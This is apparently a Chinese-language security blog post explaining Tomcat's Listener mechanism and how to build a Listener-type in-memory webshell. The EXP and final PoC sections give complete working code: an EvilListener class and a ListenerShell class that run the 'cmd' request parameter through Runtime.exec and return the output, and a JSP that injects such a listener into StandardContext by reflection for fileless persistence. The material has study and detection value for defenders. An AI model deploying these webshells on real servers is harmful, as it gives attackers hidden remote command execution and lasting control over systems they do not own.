Listener 型内存马

Listener 是监听 Application、Session、Request 三大对象创建/销毁及属性变化的组件,触发时自动执行代码,常用于统计在线人数、访问量等。

三类域监听器

  • ServletContextListener:监听应用启动和关闭。
  • HttpSessionListener:监听会话创建和销毁。
  • ServletRequestListener:监听每次 HTTP 请求的创建和销毁。

关键点ServletRequestListener在每次访问任意资源时都会触发 requestInitialized()方法,因此非常适合用作内存马——动态注册一个 ServletRequestListener,即可在每次请求时执行恶意代码,无需文件落地。

流程分析

环境搭建

Maven 3.6.3

Tomcat 8.5.81

Listener 的业务对象要实现 EventListener 这个接口(java.util.EventListene)

实现内存马的话就需要找一个每个请求都会触发的 Listener,我们去寻找的时候一定是优先找 Servlet 开头的类。ServletRequestListener ,因为根据名字以及其中requestInitialized() 方法感觉我们的发送的每个请求都会触发这个监控器。

javax.servlet.ServletRequestListener

image.png

简单写个案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Listener;  

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.util.EventListener;

@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {

public ListenerTest(){
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 被调用");
}
}

web.xml

1
2
3
<listener>  
<listener-class>Listener.ListenerTest</listener-class>
</listener>

image.png

Listener 流程分析

应用程序启动时

在configureContext() 方法在这个地方读取了 web.xml里面的Listener ,在此处打断点

org.apache.catalina.startup.ContextConfig#configureContext

获取到 web.xml

image.png

下一步应该是走到 addApplicationListener() ,读取完配置文件,加载 Listener

image.png应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。

org.apache.catalina.core.StandardContext#listenerStart

image.png

listenerStart() 方法中有这么一个语句,是把之前的 Listener 存到这里面

1
String listeners[] = findApplicationListeners();

http请求触发

断点位置如图

image.pngimage.png

我们先进到 getApplicationEventListeners() 方法里面

image.png

getApplicationEventListeners() 方法做了这么一件事:获取一个 Listener 数组

image.png

applicationEventListenersList 是什么,可以看到 Listener 实际上是存储在 applicationEventListenersList 属性中的

image.png

并且我们可以通过 StandardContext#addApplicationEventListener() 方法来添加 Listener

1
2
3
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}

之后逻辑和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。

在 Listener 组内的 Listeners 会被逐个触发,最后到我们自己定义的 Listener 的 requestInitialized() 方法去。

image.png

在应用开始前:先读ContextConfig读取 web.xml→ listenerStart()实例化并分类存储 → 运行时:每次请求触发 ServletRequestListener.requestInitialized()。

内存马只需通过反射获取 StandardContext,调用 addApplicationEventListener()即可动态注入。

Listner 型内存马 EXP 编写

  • 核心思路:利用 ServletRequestListenerrequestInitialized()方法,在每次请求时自动执行恶意代码(如命令执行)。
  • 实现步骤
  1. 获取 **StandardContext**对象(与 Filter 型相同,通过反射穿透门面模式)。
  2. 创建恶意 Listener 实例,实现 ServletRequestListener接口,将恶意代码写在 requestInitialized()中。
  3. 调用 **StandardContext.addApplicationEventListener(listener)** 动态注册该 Listener。
  • 关键点:Listener 的注册机制与 Filter 类似,但无需配置 URL 映射,因为 ServletRequestListener自动监听所有请求,比 Filter 更简洁。
  • 执行顺序:注册后,后续每次请求都会先触发恶意 Listener 的 requestInitialized(),再进入 Filter 链和 Servlet,从而实现无文件 Webshell。

一句话总结:获取 StandardContext → 创建恶意 Listener → 调用 addApplicationEventListener()注册,即可在每次请求时自动执行恶意代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Listener 实例:只创建一次,常驻内存
public class EvilListener implements ServletRequestListener {

// 启动时执行一次(由容器在 listenerStart() 中实例化时调用,但 ServletRequestListener 没有单独的 init 方法,
// 可以在构造函数中完成初始化)
public EvilListener() {
/* 初始化恶意代码所需的资源(可选) */
}

// 每次 HTTP 请求到来时都会执行这个方法,但 Listener 对象还是同一个
public void requestInitialized(ServletRequestEvent sre) {
// 恶意代码主体:从请求参数获取命令并执行
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
// 通过反射获取底层 Request 对象(绕过门面模式)
org.apache.catalina.connector.RequestFacade requestFacade =
(org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName(
"org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1) {
response.getWriter().write(new String(bytes, 0, i));
response.getWriter().write("\r\n");
}
}
} catch (Exception e) {
e.printStackTrace(); // 实际攻击中通常静默处理
}
}

// 请求销毁时执行(可用于清理,但内存马通常不依赖此方法)
public void requestDestroyed(ServletRequestEvent sre) {
/* 可选的后置处理 */
}
}

接着是获取 StandardContext 的代码,并且添加 Listener

在 org.apache.catalina.core.StandardHostValve#invoke 中,可以看到其通过request对象来获取 StandardContext 类

image.png

JSP内置了request对象,可以通过这个方式来获取

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>

最后添加监听器

1
2
3
4
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

class ListenerMemShell implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

%>

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package Listener;  

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

@WebListener
public class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest req = (HttpServletRequest)servletRequestEvent.getServletRequest();
HttpServletResponse resp = this.getResponseFromRequest(req);
String cmd = req.getParameter("cmd");
try {
String result = this.CommandExec(cmd);
resp.getWriter().println(result);
System.out.println("部署完成");
} catch (Exception e) {

}
}
public String CommandExec(String cmd) throws Exception {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
InputStream stderr = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(stderr);
BufferedReader br = new BufferedReader(isr);
String line = null;
StringBuffer sb = new StringBuffer();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
}
return sb.toString();
}

public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
HttpServletResponse var2 = null;

try {
Field var3 = var1.getClass().getDeclaredField("response");
var3.setAccessible(true);
var2 = (HttpServletResponse)var3.get(var1);
} catch (Exception var8) {
try {
Field var4 = var1.getClass().getDeclaredField("request");
var4.setAccessible(true);
Object var5 = var4.get(var1);
Field var6 = var5.getClass().getDeclaredField("response");
var6.setAccessible(true);
var2 = (HttpServletResponse)var6.get(var5);
} catch (Exception var7) {
}
}

return var2;
}
}

image.png